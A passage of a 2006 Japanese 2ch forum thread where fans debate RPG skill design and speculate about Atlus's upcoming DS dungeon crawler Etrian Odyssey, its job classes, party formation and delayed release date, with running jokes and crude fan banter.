剣スキルがある、短剣スキルがある、槍スキルがある。
でも、結局威力の大小だけでそれの特性をいかした物は見たこと無い。
もしくは、変な属性とかで威力にそのまま補正とか。
うん、結局はダメージの数値、それだけ。
槍の間合いに剣で踏み込むのは難しいとか、超接近状態じゃナイフ最強だとか、そんなの見たこと無い。


いや、だから、普通のターン制バトルなんか名前を変えたって出来ること限られてるでしょ。
多彩な技能があったとして、それをそのまま表現できるのか、と。


301 :枯れた名無しの水平思考:2006/09/17(日) 01:57:41 ID:YQNTKsf40
そうだねプロテインだね

302 :枯れた名無しの水平思考:2006/09/17(日) 01:58:04 ID:/BEzgWU70
ID:HMQuX8BW0 まで読んだ

303 :枯れた名無しの水平思考:2006/09/17(日) 01:58:13 ID:HMQuX8BW0
>>298
容姿や性格面で個性はあっても、
やってることは
A→必殺技で5000ダメージ、B→魔法で5100ダメージ、C→秘技で3800ダメージ、D→全体回復
とか、やってること自体は大差なくね?
見た目には個性的でもさ。

304 :枯れた名無しの水平思考:2006/09/17(日) 01:59:09 ID:DupSS7Zh0
>>300
と。まで読んだ。

つロマサガ

305 :枯れた名無しの水平思考:2006/09/17(日) 02:00:03 ID:8zazm06d0
釣れますか?

306 :枯れた名無しの水平思考:2006/09/17(日) 02:05:14 ID:HMQuX8BW0
>>304
最後まで読んでくれてありがと。
SFCもWSも持ってないし、やったことないよ。
でも、サガフロならあるよ。

結局やってることは、術で大ダメージ与えるか、体術で大ダメージ与えるか、
銃技で大ダメージ与えるか、剣技で大ダメージ与えるか、―やってることは一緒なんだな。
でも、楽しかったよ。
技がそれぞれ派手で個性的だったし、キャラクターも個性的でさ。
やってることは一緒でも(大ダメージ与える)、キャラと技の雰囲気の取り合わせがあって楽しいんだよな。

ここで語られてるような、戦略的だとか性能的な物は考えず雰囲気で好きなように大暴れするって感覚だけど。

307 :枯れた名無しの水平思考:2006/09/17(日) 02:08:02 ID:DupSS7Zh0
>>306
ロマサガの1ならば、剣・大剣・小剣・格闘は前列、槍は中列、弓、魔法は後列にしないと
攻撃力が落ちたり攻撃出来なかったりするんだわ。

PS2のリメイク版だと、なお更顕著にそのシステムが出ている(槍を前列にもって来ると攻撃しにくくて速度が落ちるなど)


308 :枯れた名無しの水平思考:2006/09/17(日) 02:09:52 ID:HBp1Np/Q0
天外魔境2とかワイルドアームズ1とかどうかねえ。

アタッカーの性質だけでも種類があることが分からんかねえ。


309 :枯れた名無しの水平思考:2006/09/17(日) 02:10:38 ID:HMQuX8BW0
>>307
うおっ、すげっ、めんどくせ、マニアックwwwww
感心したわwww

310 :枯れた名無しの水平思考:2006/09/17(日) 02:18:05 ID:HMQuX8BW0
>>308
それ4人とか3人とか少人数だし、完璧に固定メンバーのパーティーじゃん。
そりゃ、その人数でメンバー固定なんだから役割分担とか機能とかはっきりできると思うよ。

311 :枯れた名無しの水平思考:2006/09/17(日) 02:30:50 ID:7jd8zVd80
なんかジェネレーションギャップのようなものを感じるなぁ

312 :枯れた名無しの水平思考:2006/09/17(日) 02:33:02 ID:zfLwkKgT0
そういう問題じゃないと思うが・・・

313 :枯れた名無しの水平思考:2006/09/17(日) 02:40:17 ID:xu671vgl0
新桃太郎伝説とか

314 :枯れた名無しの水平思考:2006/09/17(日) 02:42:54 ID:W8AjjKgt0
ダメージに大小があるのは別におかしくねー

315 :枯れた名無しの水平思考:2006/09/17(日) 02:46:23 ID:HMQuX8BW0
>>311
どっち方向からのジェネレーションギャップですかw
>>314
いや、ダメージの大小しかねーって言ってんの。

316 :枯れた名無しの水平思考:2006/09/17(日) 02:48:46 ID:DupSS7Zh0
あ〜う〜色々とスマンカッタ。
とにかく頭下げておく。本当にごめん。

317 :枯れた名無しの水平思考:2006/09/17(日) 02:53:39 ID:zfLwkKgT0
>>316
気にしなくていいとおもよ。
道端に落ちてるうんこ踏んだようなもんだから。

318 :枯れた名無しの水平思考:2006/09/17(日) 03:01:10 ID:MgTG4KjwO
>>306
サガフロ1の話をしてみるが、
本当にダメージを与えるだけでどの技も一緒だったか?
アンデッド相手には跳弾より十字砲火の方が効率いいと思わんかった?
カウンターやバリアを避けるために、飛燕剣や烈風剣で戦ったことはないか?
スライム相手に、律義に爆砕鉄拳を叩き込んだ? 多少威力が落ちてでも短勁を使わんか?
個性とか分担ってのは、とどのつまりこういうことだと思うんだがな。

319 :枯れた名無しの水平思考:2006/09/17(日) 03:09:24 ID:7jd8zVd80
システムによってダメージの大小だけではなくなってくるからなぁ
アトラスでは真VとかP3とかはいい例だな

320 :枯れた名無しの水平思考:2006/09/17(日) 03:12:08 ID:ajvDrzf20
個性的なゲームの具体例出されて

309 :枯れた名無しの水平思考 :2006/09/17(日) 02:10:38 ID:HMQuX8BW0
>>307
うおっ、すげっ、めんどくせ、マニアックwwwww
感心したわwww


こんな返し方しか出来ない奴なんだから放っておけ

321 :枯れた名無しの水平思考:2006/09/17(日) 03:39:11 ID:MQmdt02A0
>>307読んでマニアックと言う言葉が出てくるの見てかわいそう、と思った。
新納タン、頑張ってくれよ。

322 :枯れた名無しの水平思考:2006/09/17(日) 04:23:34 ID:2jBkdK1iO
結局こいつの言いたい事って、ダメージを与えるというのが最終目的で、結果は一緒なんだから
どんな特徴付けも大した意味はないみたいな凄く大雑把な話でしかない気がするな。
なんでもすぐ見える数字だけではかってたら攻撃する前に殺されそうだけどな、このゲーム。

323 :枯れた名無しの水平思考:2006/09/17(日) 04:41:29 ID:69CVMOpD0
敵の攻撃をあの手この手のからめ手で捌いていかないと、
あっという間に全滅するRPGだっていくらでもあるよな。

324 :枯れた名無しの水平思考:2006/09/17(日) 05:01:37 ID:e+YfYLQj0
あんまり関係の無い話の気もするが
最近のRPGなんかどんなに個性的なシステムがあっても
使う必要が無いくらい簡単だよなぁ

325 :枯れた名無しの水平思考:2006/09/17(日) 05:17:27 ID:th9//hSy0
>>あ、ただ単に夢のRPGを語って楽しんでるだけなんだよね。失礼しました。
         ^^^^^^^^^^^^^^^^^^^
この一文から見ていつものあいつだろ。早くコテハンになれっつってんだよキメェ。
こいつなんだかんだでいつも言ってること同じだから。
スレが妄想先行しすぎてるって言いたいんだろ。もういいっての。


326 :枯れた名無しの水平思考:2006/09/17(日) 05:47:12 ID:M68jmRbkO
ざっとしか読んでないけどFF3で詩人やバイキングの良さがわからなそうな奴だとオモタ。
暗闇の雲でももちろん二刀流で特攻して毎ターンケアルラケアルガを全体にかけてそう。

327 :枯れた名無しの水平思考:2006/09/17(日) 06:00:46 ID:QY3FieQR0
>>324
バランスをゆるくするのは簡単。逆に理不尽じゃない難しさにするのは
非常に難しい。ある程度時間を取ればそれなりにバランス取れるんだけど
それすら放棄してるゲームばっかりだからね。簡単なら縛りプレイすれば
いいってのは基本的に違う。

328 :枯れた名無しの水平思考:2006/09/17(日) 06:04:47 ID:DseHMjzkO
まぁ各職20個前後スキルがあって、それで大差ないって言えるほど無個性にするには
それこそそれらが無意味なまでにヌルいゲームにしなきゃ難しいわけだが

329 :枯れた名無しの水平思考:2006/09/17(日) 06:14:19 ID:QY3FieQR0
>>328
FF6とか7思いだした。なにやっても敵がゴミだったな。
世界樹もスキルを自由に強化できるみたいだから
職業バランスどうなるんだろ。いらない子とかいないといいんだけど。

330 :枯れた名無しの水平思考:2006/09/17(日) 06:37:34 ID:02d5olq/0
>>329
いらない子に活路を見出すのが要。

個性云々の話が出てたが。
個性と自由度を両立させるのは難しいのだろうなぁと。
キャラを育てるのが自由であればあるほど鍛えきった後に全員何でもありになっちゃうし。
かといって役割を固定すると自由度が低いとかって叩かれるだろうし。

331 :枯れた名無しの水平思考:2006/09/17(日) 06:51:14 ID:8FTZhvgV0
その辺の調整は開発者の良心以外ではできないからな
その上で命を削った分だけ良いものになるとも限らないし

332 :枯れた名無しの水平思考:2006/09/17(日) 06:57:33 ID:02d5olq/0
>>331
1職業のキャラを二人以上ちゃんと作れるんなら自由度はありつつ役割分担できて
いい感じになるんだろうなぁ。これ。

なんだか無理って話がネタである事を祈りつつも
あった事は否定できないからこんな感じに。

じっさい同じ職業のキャラを重複して作れるとして
そうなるとヌルゲーマーから難易度が高いって叩かれそうな悪寒も。

333 :枯れた名無しの水平思考:2006/09/17(日) 07:05:03 ID:DseHMjzkO
ふと思ったのだが、魔法という言葉がなかなか出てこないこのゲームに
全体回復スキルは存在するのだろうか
メディックが僧侶というより衛生士っぽいから
全体回復があるとしてもイマイチ想像つかん

334 :枯れた名無しの水平思考:2006/09/17(日) 07:30:54 ID:LjlePSgzO
はぁ〜ん!カースメイカー♀タソとチュチュしたいよぉ〜

335 :枯れた名無しの水平思考:2006/09/17(日) 07:39:28 ID:M68jmRbkO
チュチュは和むなぁ

336 :枯れた名無しの水平思考:2006/09/17(日) 07:45:40 ID:HZIW0HkJ0
うむ、一服の清涼剤のようだ

337 :枯れた名無しの水平思考:2006/09/17(日) 08:38:03 ID:2hvLii0Z0
どんな話題でもどんな流れでも
彼はいつも変わらずにチュチュしたい

変わらないでほしいものだな

338 :枯れた名無しの水平思考:2006/09/17(日) 08:53:54 ID:H2o3DrTR0
このスレ読み返していたら>>334で吹いたwww

339 :枯れた名無しの水平思考:2006/09/17(日) 09:30:30 ID:zOEXAE2C0
このまま、延期したら、Wiiとかぶりそうだな。
自分は買うけど、売上とりにいく気ねえだろ、アトラス。


340 :枯れた名無しの水平思考:2006/09/17(日) 10:05:58 ID:mabbyVhb0
公式が更新されてて、発売日が発表&コラムに新納の肉声が追加

という夢を見た

341 :枯れた名無しの水平思考:2006/09/17(日) 10:13:38 ID:GSx2LrvC0
>>340
その夢が正夢になるのは11月の事だった・・

342 :枯れた名無しの水平思考:2006/09/17(日) 10:49:09 ID:7jd8zVd80
>>332
それはさすがにネタでしょ>同職業2対以上不可

343 :枯れた名無しの水平思考:2006/09/17(日) 11:00:58 ID:VHVKdJax0
>>333
バードのスキルに癒しの歌希望
これなら全体っぽいし。

ストイックに行くなら全体回復は無くてもいいかもね
なんでも回復だよりになってもつまらんかもしれないし。

344 :枯れた名無しの水平思考:2006/09/17(日) 12:04:13 ID:ldQlZz5x0
同職業2対以上不可というアイデアも悪くないなと思った

345 :枯れた名無しの水平思考:2006/09/17(日) 12:05:42 ID:j//iNtb+0
新納の肉声謝罪

346 :枯れた名無しの水平思考:2006/09/17(日) 12:08:34 ID:M68jmRbkO
全体回復は偉大なる火竜タソを見る限り実装されてないとキツいだろうな。
まぁ最近のRPGと掛け離れたシステムにするわけにもいかんだろうし普通にあるんじゃないか?
全体系はヘイトを集めやすいとかだとアツいな。

347 :枯れた名無しの水平思考:2006/09/17(日) 12:12:59 ID:BIKjPbpm0
なに言ってんの?Wiiと被っちゃうじゃん。
だからきっと無理にでも10月中発売だよ。


バグまみれのバランス悪いままでな。

348 :枯れた名無しの水平思考:2006/09/17(日) 12:14:14 ID:4YkGEdDV0
敵側に見方全体攻撃があるなら全体回復がないとおっつかないな

349 :枯れた名無しの水平思考:2006/09/17(日) 12:14:50 ID:VHVKdJax0
>>346
つまり敵から狙われやすくなるということですか。
確かにそれは熱いですな。

350 :枯れた名無しの水平思考:2006/09/17(日) 12:35:21 ID:gXsRDkoL0
同じくwizっぽいゲームのヴァルハラナイツがバグだらけというのが
あるからなぁ。
激しく不安になるわ。

アトラスはマーベラスとは違うよね?(´・ω・`)

351 :枯れた名無しの水平思考:2006/09/17(日) 12:42:21 ID:zfLwkKgT0
訳のわからない比べ方だな。

352 :枯れた名無しの水平思考:2006/09/17(日) 12:44:25 ID:yjKNlcve0
>>350
BUSINやBUSIN0はそこまでひどいバグはありませんですた。


個人的には回復よりも攻撃呪文があるのかどうか気になる。
魔法スキーな俺としては物理攻撃マンセーな最近のゲームの傾向がどうも・・・
別に呪文でなくてもいいけど、それがBUSINのメガデスやWiz1のティルトウェイトくらい強かったら満足。

353 :枯れた名無しの水平思考:2006/09/17(日) 12:45:51 ID:M68jmRbkO
マーベラス系はバグ多いからなぁ、常に。
マーベラス、タイトーはバグに関して悪い評判よく聞くな。
アトラスはそれよりはマシだろう。

354 :枯れた名無しの水平思考:2006/09/17(日) 12:48:06 ID:7jd8zVd80
アトラスは昔はひどかったが今は逆にプログラマーは悪魔と契約していると言われるほどだから大丈夫だろ

355 :枯れた名無しの水平思考:2006/09/17(日) 12:52:22 ID:Sq17d18S0
俺らの琴線に引っかからないのでヴァルハラナイツとやらは知らぬ。
新納氏のインタビューとカドゥケスの実績によりwktkしてるんだよ。
加えてアトラスは3Dダンジョン系の実績も評価高いしバックアップも万全っぽいかな。

けして公式のヴィジュアルと公開サウンドにだけ酔っているわけではないとこがミソ。

356 :枯れた名無しの水平思考:2006/09/17(日) 12:56:12 ID:mMKYzfUF0
マニアクスだかアバチュだかのプログラマは悪魔と契約している気がしてならない。

357 :枯れた名無しの水平思考:2006/09/17(日) 12:58:57 ID:GLqXhOc70
神プログラマといえばナージャ

358 :枯れた名無しの水平思考:2006/09/17(日) 13:08:03 ID:gXsRDkoL0
>>351
スマン、確かに訳のわからん比較だったw
開発者がwizじゃないって言い直したんだっけな。
根底からして、この比較は妥当じゃなかったわ。

359 :枯れた名無しの水平思考:2006/09/17(日) 13:49:54 ID:WPi0UaUj0
>>357
それはナーシャでは?

360 :枯れた名無しの水平思考:2006/09/17(日) 14:36:51 ID:u2yT/Uw0O
>345
暴投に女性社員さんの「……ちゃんと謝れ……豚……」っていう呟きが入って
その後新納たんが本気のテンションで謝っていたら
なんかもうすべてを許せる

361 :枯れた名無しの水平思考:2006/09/17(日) 14:40:24 ID:UX2tTvFc0
新納「(前略)〜発売の時期ですが、2007年を予定していますが、詳しいことはまだ分かりません」

362 :枯れた名無しの水平思考:2006/09/17(日) 14:42:22 ID:tqz5RXmO0
天才プログラマー、ナージャ・アップルフィールドを知らない奴がいるとは

363 :枯れた名無しの水平思考:2006/09/17(日) 14:48:33 ID:th9//hSy0
名前をググらずにFF3のプログラマ?と予想した

364 :枯れた名無しの水平思考:2006/09/17(日) 14:50:04 ID:zfLwkKgT0
それはナーシャ・ジベリじゃなかったっけ?

365 :枯れた名無しの水平思考:2006/09/17(日) 14:57:54 ID:u2yT/Uw0O
何?
サーペントのナーガがどうしたって?

366 :枯れた名無しの水平思考:2006/09/17(日) 15:02:01 ID:N1zqp7pM0
頭が年中春のおまいらはまだ来月発売だと信じているの?

367 :枯れた名無しの水平思考:2006/09/17(日) 15:04:29 ID:Sq17d18S0
おう、なんせ今も公式には10月発売予定の記載は変わってないからな。

368 :枯れた名無しの水平思考:2006/09/17(日) 15:07:45 ID:ZlvkgsvY0
なるようになるさ

369 :sage:2006/09/17(日) 15:09:57 ID:mj8TRuyJ0
スレ違いかもしれんが
前スレにあった「DSスタンド」買ってきた。

俺的には結構よかった。
安定度もいいし、なにより
十字キーの操作性がよくなった(今ルンファク、プレイ中)。
左手だけの操作でも、まあまあ。

俺みたいに、2Dゲーするため、
消去法でDS買ったやつ(ホントはTVでやりたい)
にはいいかも試練。

難点は、裏がゴツゴツしてる。


370 :369:2006/09/17(日) 15:18:10 ID:mj8TRuyJ0
あれ間違えた。
ageすまん。

371 :枯れた名無しの水平思考:2006/09/17(日) 15:24:42 ID:+PEz+4rF0
新納「あーオレオレ!新納でーす!イェーイ!アトラスのみんな元気ぃ?
    世界樹の迷宮年内無理だわ〜ごめんね〜俺もう限界だわ〜
    ちょっと旅に出るからあとのことはシクヨロ〜w
    もう切るね〜逆探されてるかもしれないし、怖い怖い ガチャ」

372 :枯れた名無しの水平思考:2006/09/17(日) 15:32:07 ID:PN3X5d4R0
それなんだっけ?
和歌山か愛媛でスナックで殺人事件があって、何年も逃げ続けた婆の電話だっけ?
たしか富山か石川辺りでつかまった

373 :枯れた名無しの水平思考:2006/09/17(日) 15:37:35 ID:u2yT/Uw0O
世界樹の開発陣
みんな目が死んでる

374 :枯れた名無しの水平思考:2006/09/17(日) 17:06:06 ID:7iCyAcJO0
世界樹の中には f.o.e.が住むの
頼れる仲間は みんな目が死んでる
チュチュにかけた青春 でも みんな目が死んでる

375 :枯れた名無しの水平思考:2006/09/17(日) 18:14:49 ID:qZyQUAHL0
はぁ〜ん!ブシドー♀タソとチュチュしたいよぉ〜

376 :枯れた名無しの水平思考:2006/09/17(日) 18:18:05 ID:P5j5vLoY0
  こ  れ  は  新  し  い  。

377 :枯れた名無しの水平思考:2006/09/17(日) 19:22:39 ID:sB5QAr+h0
>>375
・十分な睡眠
・適度な運動
・バランスの採れた食生活
詳細は追って報告する

378 :枯れた名無しの水平思考:2006/09/17(日) 20:18:26 ID:M68jmRbkO
流れが読めんでぷー

379 :枯れた名無しの水平思考:2006/09/17(日) 20:24:19 ID:ZlvkgsvY0
J9、日和、健康的生活志向

すごく・・・カオスです・・・

380 :枯れた名無しの水平思考:2006/09/17(日) 20:48:53 ID:9/wET3+c0
発売日マダー?

381 :枯れた名無しの水平思考:2006/09/17(日) 20:52:32 ID:pgfGpuTl0
ダークハンター♂マダー???

382 :枯れた名無しの水平思考:2006/09/17(日) 20:53:48 ID:GLqXhOc70
アルケミ子マダー??

383 :枯れた名無しの水平思考:2006/09/17(日) 21:07:30 ID:ivcq7vEj0
アルケミ子は、ぜひめがねっ子でお願いいたします(__)

384 :枯れた名無しの水平思考:2006/09/17(日) 21:35:59 ID:qZyQUAHL0
意外!それはコンタクト。

385 :枯れた名無しの水平思考:2006/09/17(日) 21:41:19 ID:zfLwkKgT0
瓶の底のようなメガネで身長180cm筋肉質でアルケミー使うより素手の方が強いアルケミ子希望

386 :枯れた名無しの水平思考:2006/09/17(日) 21:43:05 ID:NRdSkFWx0
全身凶器でMPゼロな魔法使いフイタ

387 :枯れた名無しの水平思考:2006/09/17(日) 22:15:21 ID:th9//hSy0
実はアルケミはあのアタノールとかいう篭手で防御もできる、
パラディン、ソードマンに次ぐ第三の盾。

388 :枯れた名無しの水平思考:2006/09/17(日) 22:30:18 ID:th9//hSy0
もしかしてアタノールだとか鈴だとか楽器なんかも
それぞれの職の専用装備だったりするのかね。

389 :枯れた名無しの水平思考:2006/09/17(日) 22:32:22 ID:RRZozdyb0
ますらおの鈴だのやめるアタノールだの、よくわからん名称の装備が出てきたりな。

390 :枯れた名無しの水平思考:2006/09/17(日) 22:33:29 ID:VJB04CCM0
ねじれた鈴

391 :枯れた名無しの水平思考:2006/09/17(日) 22:40:07 ID:MQmdt02A0
>>385
名付けてこれ錬筋術也!みたいな?

392 :枯れた名無しの水平思考:2006/09/17(日) 22:53:51 ID:xSJs00UN0
はぁ〜ん!メディック♀タソのおしりの穴がみたいよぉ〜

393 :枯れた名無しの水平思考:2006/09/17(日) 23:02:14 ID:th9//hSy0
メディック♀タソにおしりの穴なんて存在しないよ

394 :枯れた名無しの水平思考:2006/09/17(日) 23:43:45 ID:th9//hSy0
変態露出野郎ってお前が言うなwwwww

395 :枯れた名無しの水平思考:2006/09/17(日) 23:45:35 ID:th9//hSy0
誤爆なんて初めてしたぜ

396 :枯れた名無しの水平思考:2006/09/17(日) 23:49:04 ID:UaE6cMmY0
一度すると癖になるぞ

397 :枯れた名無しの水平思考:2006/09/18(月) 00:18:41 ID:JTzj9shp0
はぁ〜ん!とか言ってる奴らのキャラをロストさせたいよぉ〜

398 :枯れた名無しの水平思考:2006/09/18(月) 00:21:46 ID:XtvlvFlb0
まぁ懐深く行こうぜ、兄弟。

399 :枯れた名無しの水平思考:2006/09/18(月) 00:25:46 ID:w15BivXg0
つーか専用スレあるんだからこっちでやれよ
ttp://game10.2ch.net/test/read.cgi/pokechara/1157007206/l50

400 :枯れた名無しの水平思考:2006/09/18(月) 00:56:41 ID:DVwy24+50
真っ二つの鈴

401 :枯れた名無しの水平思考:2006/09/18(月) 01:05:29 ID:5XRPDg8j0
パラディン
盾or回復
ブシドー
数種の構え
メディック
回復or属性防御
カースメーカー
縛りor縛りを除く状態異常

同じ職でもスキルの伸ばし方で違いが結構でそうだけど
アルケミストは3種の属性術式だけか?
なんかアタッカー以外の要素はねーのかな。

402 :枯れた名無しの水平思考:2006/09/18(月) 01:27:08 ID:aPprIkg+O
冒険は戦いだけじゃない

403 :枯れた名無しの水平思考:2006/09/18(月) 01:39:18 ID:/qkM3on7O
探検特化のレンジャーや捕獲特化のダークハンターが
いらない子になりませんように

404 :枯れた名無しの水平思考:2006/09/18(月) 01:49:15 ID:vOH11gCn0
バランスは必ずどこかで破綻するもの

405 :枯れた名無しの水平思考:2006/09/18(月) 02:04:24 ID:Z7tOO3h80
>>404
確かにどんにいいバランスでもどこかで必ず破綻すると思う
だから出来る限り破綻し辛いバランスを実現するのがプロというものだろう

406 :枯れた名無しの水平思考:2006/09/18(月) 02:24:42 ID:IzWHinA80
レンジャーはfoe絡みで大活躍すると期待

407 :枯れた名無しの水平思考:2006/09/18(月) 02:53:02 ID:+rXvqIg/O
SSのマップ画面で真ん中あたりに通路が全く繋がってないところに
pitがあるように見えるんだが気のせい?

408 :枯れた名無しの水平思考:2006/09/18(月) 02:55:27 ID:MVIXxuSi0
降魔霊符伝イヅナ サクセス 3,755 06/06/08

DSでギャルオタRPGってどこまで通用するか
このソフトも見物だ!

409 :枯れた名無しの水平思考:2006/09/18(月) 06:31:37 ID:w/PzGAhe0
はぁ〜ん!カースメイカー♂タソとチュチュしたいよぉ〜

410 :枯れた名無しの水平思考:2006/09/18(月) 08:04:15 ID:c7gWiZpL0
メスキャラはちゃん付けで呼ぶ
たとえばブシドーちゃんっていうのどうかな?

411 :枯れた名無しの水平思考:2006/09/18(月) 08:15:27 ID:aPprIkg+O
それならすでに「たん」と「きゅん」で区分けがされてる
腐った住人になるのを厭わなければだが

412 :枯れた名無しの水平思考:2006/09/18(月) 09:58:53 ID:zNnWbzmPO
はぁ〜ん!カースメイカー♀タソとチュチュしたいよぉ〜

413 :枯れた名無しの水平思考:2006/09/18(月) 10:08:34 ID:bS1d4dAN0
ここの住人はGKが混じってるに違いない。
他人をドン引きさせて買わせない様にするんだろ

414 :枯れた名無しの水平思考:2006/09/18(月) 10:17:25 ID:YNWP6r5b0
はぁ〜ん!カースメイカー♀タソとチュチュしたいよぉ〜

415 :枯れた名無しの水平思考:2006/09/18(月) 10:20:58 ID:QWAUsDTp0
前までは一人だけだったのにな・・・

416 :枯れた名無しの水平思考:2006/09/18(月) 10:25:08 ID:BlEbda210
はぁ〜ん!カースメイカー♀タソとチュチュしたいよぉ〜

417 :枯れた名無しの水平思考:2006/09/18(月) 10:27:44 ID:8TPyM1G+0
はぁ〜ん!カースメイカー♀タソとチュチュしたいよぉ〜

418 :枯れた名無しの水平思考:2006/09/18(月) 10:31:24 ID:QWAUsDTp0
すまん、俺の一言が起爆剤になったみたいだ
ちょっとこのスレ離れとくよ・・・

419 :枯れた名無しの水平思考:2006/09/18(月) 10:33:18 ID:byWZI0M80
はぁ〜ん!>>418♀タソとチュチュしたいよぉ〜

420 :枯れた名無しの水平思考:2006/09/18(月) 10:39:59 ID:+rXvqIg/O
418♀ってどういう意味だよwwwww

421 :枯れた名無しの水平思考:2006/09/18(月) 10:40:12 ID:qpi2PeTC0
パラディンはまだマシだけど、男のデザイン微妙なのばっかり。

この時点で女だらけのパーティーになりそうだ・・・

422 :枯れた名無しの水平思考:2006/09/18(月) 10:53:41 ID:j/2FuX/s0
情報出し渋るから、スレが荒れ気味だな。

423 :枯れた名無しの水平思考:2006/09/18(月) 11:35:46 ID:pDfJv6I50
>>421
だから専用スレに行けと

男女別の能力差は?てな話ならともかく

424 :枯れた名無しの水平思考:2006/09/18(月) 13:39:39 ID:bS1d4dAN0
出し渋るというか宇田がまともな出し方をしてない

425 :枯れた名無しの水平思考:2006/09/18(月) 13:42:11 ID:+rXvqIg/O
宇田タソって世界樹とP3以外に何担当してんの?
つうか普段何やってんの?パチンコ?

426 :枯れた名無しの水平思考:2006/09/18(月) 13:42:55 ID:K9XA1lLz0
公式でゲーム画面が出てないのも…

427 :枯れた名無しの水平思考:2006/09/18(月) 13:45:23 ID:tiipCPUx0
既に発売を待つばかりな俺。


概要はほぼ知れてる…つもり。

428 :枯れた名無しの水平思考:2006/09/18(月) 13:55:53 ID:OvYX2xMZ0
あまりの期待の高さゆえに、発売直後にクソゲってレスが乱舞しそうな雰囲気があるね。

429 :枯れた名無しの水平思考:2006/09/18(月) 13:55:55 ID:743bsIS90
だが、そんな>>427はまだDS(lite)を入手できていないのであった・・。

430 :枯れた名無しの水平思考:2006/09/18(月) 13:58:45 ID:Xu+8zVGJ0
>>423
男女でグラが異なるのだから、能力差はあってもよさそうだね。
wizの男は力↑、女は生命力↑って感じに。
スキルの種類は…さすがに変わらないだろうな。
でも男でエクスタシーはやりたくありません><

431 :枯れた名無しの水平思考:2006/09/18(月) 14:00:23 ID:76mnc8Rv0
>>428
実際良ゲーだったら良ゲーだし、クソゲーだったらクソゲーって言うだろうから
期待の高さはあんまり関係ないだろう

432 :枯れた名無しの水平思考:2006/09/18(月) 14:04:29 ID:U+MIXfPP0
だいぶ違うよ
期待が大きすぎると、些細な点まで気になって
ここがダメだ、あそこが気に入らないってグチグチ言うレスが増える
「結局キャラ絵が消せなかったからクソゲー」なんて感じでね
期待度に比例して工作員の類も増えるし、便乗荒らしも増えるしな

433 :枯れた名無しの水平思考:2006/09/18(月) 14:08:06 ID:w15BivXg0
つーか、ネタでも盛り上がってるのを真に受けてウダウダ言ってる方が萎える

434 :枯れた名無しの水平思考:2006/09/18(月) 14:15:40 ID:76mnc8Rv0
>>432
ああそういうのは分かってる
だがイメージが違うと言うだけでクソゲーにまでなるやつはそんなにいないだろうと思ってな
それでもそういう評価になるならゲーム自体に問題があるのだろうと言う意味で言ったんだ
荒らし、工作員の類はそもそも論外だと思って考えてなかったが

435 :枯れた名無しの水平思考:2006/09/18(月) 16:05:16 ID:zsvcf43+0
HPのストーリーに、2つの空きの看板があるけど何か意味は有るの?

436 :枯れた名無しの水平思考:2006/09/18(月) 16:15:32 ID:+T2sMv8G0
3Dダンジョン潜りゲーということで地味
なので広報の一環としてあと2つぐらい動画が公開されるとみてる

FF3の○○編っぽく

437 :枯れた名無しの水平思考:2006/09/18(月) 17:26:27 ID:MHBdagp70
キャラデザスレなんか行く気しね−な。
ここでええわ。
コンゴトモヨロシク・・・

438 :枯れた名無しの水平思考:2006/09/18(月) 17:55:59 ID:hvl+HTJ50
パーティーの6人目はNPCだと思っているけど違う??
前2人後ろ3人とかできるんかのう??

439 :枯れた名無しの水平思考:2006/09/18(月) 18:18:23 ID:xq4YWAf70
NPCはなかろう。
前衛後衛って区別があるのかも疑問だと俺は思ってる。

440 :枯れた名無しの水平思考:2006/09/18(月) 18:23:27 ID:743bsIS90
>>439

一応あるのは確定しているよ。
理由はパラディンのスキルに、
フロントガード=前衛への攻撃を身代わりに受ける
バックガード=後衛への攻撃を身代わりに受ける
があるから。



441 :枯れた名無しの水平思考:2006/09/18(月) 18:30:55 ID:IStVesjF0
そういえばキャラを作るのに何か対価は必要になるのか?
ヴァルハラはお金がいるみたいだったけど

442 :枯れた名無しの水平思考:2006/09/18(月) 18:35:06 ID:BHCvwevG0
はぁ〜ん!ブシドー♀タソに切り刻まれたいよぉ〜

443 :枯れた名無しの水平思考:2006/09/18(月) 18:38:05 ID:xq4YWAf70
>>440
なるほど。thanks。
そうしたら、前衛後衛の分け方は少し気になるな。
2,3って位置でわけるのか、隊列でキャラごとに前後を選ぶのか。

444 :枯れた名無しの水平思考:2006/09/18(月) 19:02:31 ID:pogTCYuN0
FF4方式じゃね?

445 :枯れた名無しの水平思考:2006/09/18(月) 19:03:17 ID:uefxcUEU0
分からん>FF4
FF5や6とは違うのか?

446 :枯れた名無しの水平思考:2006/09/18(月) 19:30:55 ID:5zYsygDwO
なんとなく発売日は11月になりそうな予感

447 :枯れた名無しの水平思考:2006/09/18(月) 19:35:36 ID:53Q7Tb6r0
惜しいっ

ヒントつクリスマス

448 :枯れた名無しの水平思考:2006/09/18(月) 19:35:59 ID:XtvlvFlb0
ふーん。

449 :枯れた名無しの水平思考:2006/09/18(月) 19:40:20 ID:p23TWYjS0
あの瞳を見てると妖刀に憑かれて兄を斬ったのは実はブシドー♀たん本人ではないかと思えてくる

450 :枯れた名無しの水平思考:2006/09/18(月) 20:07:11 ID:/vzoeAZn0
由緒あるなんたら流派の跡取りなブシドー兄と、その背中を見て育ったブシドー♀。

仲良しの兄弟弟子から「あの刀さえあれば兄のように強くなれるよ」との話を聞きつけ、
純真だったブシドー♀はまんまと乗せられ、封印された伝家の宝刀というか魔剣に手を出す。

紅の刀に取り憑かれて暴れ出すブシドー♀を兄が身を挺して救う。
正気に戻ったブシドー♀は刀を放りだし、兄の最後を看取る。

その脇で隠れてた兄弟弟子が刀を拾って逃走。彼は始めから刀を狙ってブシドー♀に近づいていたのだ。
騙されたと気付いたブシドー♀、その日から笑顔は消え、ついには復讐を誓って家を飛び出した。


ベタすぎだな

451 :枯れた名無しの水平思考:2006/09/18(月) 20:21:15 ID:u49kZZTa0
ブシドー♀タンは妖刀に導かれるまま、実在しない仇を次々に脳内に作り出しては斬り刻む旅をしています

452 :枯れた名無しの水平思考:2006/09/18(月) 20:55:21 ID:Z7tOO3h80
ただの人斬りにしたいのか?

453 :枯れた名無しの水平思考:2006/09/18(月) 21:19:05 ID:aPprIkg+O
山奥で修行していたが、世の中は時代が変わろうとしていることを知り、その役に立ちたいと思って師匠が止めるのも聞かず下山
維新志士として人斬りの名を与えられたブシドー

454 :枯れた名無しの水平思考:2006/09/18(月) 21:19:47 ID:5XRPDg8j0
今エクセルでモンスターデータを入力するダイアログを作っておるよ。
手書きマップが宝物なら自作のモンスターデータも宝物になりうるかなと思って。
でも30階層もあるから雑魚の数も多そうだよなー。

455 :枯れた名無しの水平思考:2006/09/18(月) 21:20:44 ID:w15BivXg0
こういう時の為のキャラ萌えスレだろ
存分に語って来い

